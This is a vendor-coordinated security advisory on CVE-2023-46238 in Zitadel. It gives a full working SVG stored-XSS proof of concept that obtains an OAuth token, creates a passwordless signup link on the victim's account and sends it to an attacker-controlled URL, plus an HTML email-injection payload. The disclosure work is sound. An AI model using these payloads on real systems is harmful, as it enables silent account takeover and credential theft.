ZX Security


Zitadel one click silent account takeover – Multiple issues

Ethan Mckee-Harris discovered stored cross-site scripting and email injection which could lead to silent account takeover.

Published on

Introduction

During an engagement, Ethan McKee-Harris, with the aide of Michael Tsai and Jack Moran discovered stored Cross-Site Scripting (XSS) within Zitadel. When exploited, the vulnerability would give a malicious user the ability to conduct a silent account takeover with a single click payload. This issue has been classified as an 8.7 high on the CVSS 3.1 scale and a CVE issued under the following number: CVE-2023-46238.

Throughout the disclosure process, Zitadel have been helpful and responsive. They quickly triaged and looked to remediate the discovered vulnerabilities.

What is Zitadel?

Zitadel is a unified identity infrastructure built as an open-source project that helps engineers focus their time on business features. Zitadel supports B2B, B2C and M2M settings while it provides crucial turnkey features like a hosted login, passwordless and multifactor authentication, authorization, single sign-on, OpenID Connect, SAML, extensibility with code (actions), APIs for everything and much more.

Vulnerability Discovery

While testing a deployed Zitadel instance, it was discovered that SVG was a supported file type for user avatars. While Zitadel’s primary dashboard routes feature a fairly restrictive Content Security Policy (CSP) it was discovered that the route uploaded assets are served from contains no CSP. Further to this, assets are not served with a content disposition header. This header instructs clients to download the image rather then serving it from within the context of the web application domain.

After conducting further research it was discovered that JavaScript executed from within the context of the web applications domain was able to request a new OAuth key for authentication in subsequent requests. ZX Security combined the ability to request auth tokens along with Zitadel’s support for creating passwordless logins to generate a new passwordless login sign up link on the victims account and exfiltrate the generated URL to a maliciously controlled URL.

The ability to send emails with almost arbitrary content to any email address using the Zitadel platform was also discovered. This functionality would be an ideal way to deliver the stored XSS link to unsuspecting victims using a trusted medium. Zitadel considers email injection to be a known N day vulnerability.

Proof of Concepts

Silent account takeover

The following JavaScript payload can be used to send a “Sign up to passwordless login” link to a user controlled URL allowing for account takeover.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
  <!-- Set the base Zitadel instance url -->
  var base_url = "http://localhost:8080";
  <!-- Set the client id for your Zitadel instance -->
  var oauth_client_id = "..."
  <!-- The URL that will receive the account takeover link -->
  var exhil_url = "https://.../"
  var code = "";
  var access_token = "";
  function fetch_oauth_details() {
      var sent = 0;
      var xhr = new XMLHttpRequest();
      var url = base_url + "/oauth/v2/authorize?response_type=code&amp;client_id=" + oauth_client_id +"&amp;state=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV%3B61129da7-26c7-4341-95a5-c5c856e4826d&amp;redirect_uri="+encodeURIComponent(base_url)+"%2Fui%2Fconsole%2Fauth%2Fcallback&amp;scope=openid%20profile%20email&amp;code_challenge=borY93w_wZ0jpywgeFd5bhl-lxmBFRst35FuoVEX-gI&amp;code_challenge_method=S256&amp;nonce=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV";
      xhr.open("GET", url);
      xhr.onreadystatechange = (e) => {
        if (!sent) {
          code = xhr.responseURL.match(/=([^&amp;]+)/)[0].slice(1);        
          sent = 1;
          generate_oauth_token();
        }        
      }
      xhr.send();
  }

  function generate_oauth_token() {
    var sent = 0;
    var xhr2 = new XMLHttpRequest();
    xhr2.responseType = 'json';
    var token_url = base_url + "/oauth/v2/token"
    xhr2.open("POST", token_url);
    xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr2.onreadystatechange = (e) => {
      if (!sent &amp;&amp;xhr2.response!=null) {
        access_token = xhr2.response.access_token;
        sent = 1;
        generate_and_send_takeover_link();
      }      
    }
    xhr2.send("grant_type=authorization_code&amp;code="+code+"&amp;redirect_uri="+encodeURIComponent(base_url)+"%2Fui%2Fconsole%2Fauth%2Fcallback&amp;code_verifier=UjZjZFN5SFFSfjk0SllQUmZDT2tqOWRZYUR4M0o4ZnpZV3NIc2hWQ3dBZE9i&amp;client_id=" + oauth_client_id);
  }

  function generate_and_send_takeover_link() {
      const password_http = new XMLHttpRequest();
      const url_two = base_url + '/zitadel.auth.v1.AuthService/AddMyPasswordlessLink';
      password_http.open("POST", url_two);
      password_http.setRequestHeader('Content-type', 'application/grpc-web+proto');
      password_http.setRequestHeader('Authorization', 'Bearer '+ access_token);
      password_http.setRequestHeader('X-User-Agent', 'grpc-web-javascript/0.1');
      password_http.setRequestHeader('X-Grpc-Web', '1');
      password_http.onreadystatechange = (e) => {
        if (password_http.readyState === 3) {
            var variable = password_http.response;
            <!-- Extract the passwordless auth setup link from the response -->
            variable = variable.match("https?.*code=.{12}");
            variable = variable[0];
            const outbound_http = new XMLHttpRequest();
            const url_three = exhil_url + btoa(variable);
            outbound_http.open("GET", url_three);
            outbound_http.send();
            outbound_http.onreadystatechange = (e) => {
              window.close()
            }
        }
      }
      password_http.send("\0\0\0\0\0");
  }

  fetch_oauth_details();
  </script>
</svg>

This PoC could also be simplified to send the OAuth token to the malicious user rather then a passwordless sign up link.

Email injection

The following payload could be added into the “Family Name” field to remove the trailing email content:

</div></td></td></tbody><tbody style=display:none>

Any content in the first name and content in the family name fields before this HTML would become the only content in the email.

Potential Impact

Complete account takeover.

How To Fix

Update to the latest version of Zitadel.

It has been patched in the following versions:

  • 2.28.2
  • 2.39.2

Vulnerability Disclosure Timeline

  • 12/10/2023 - XSS disclosed to vendor
  • 13/10/2023 - Vendor response
  • 13/10/2023 - Further disclosed email injection
  • 16/10/2023 - Vendor responds citing email injection is an ‘n day’ and requests PoC showing possible impact of XSS
  • 19/10/2023 - Silent account takeover PoC sent
  • 19/10/2023 - Vendor acknowledges PoC and states they will look into it
  • 25/10/2023 - Vendor still assessing the impact of the issue and relevant mitigation
  • 26/10/2023 - Vendor fixed, released advisory and issued CVE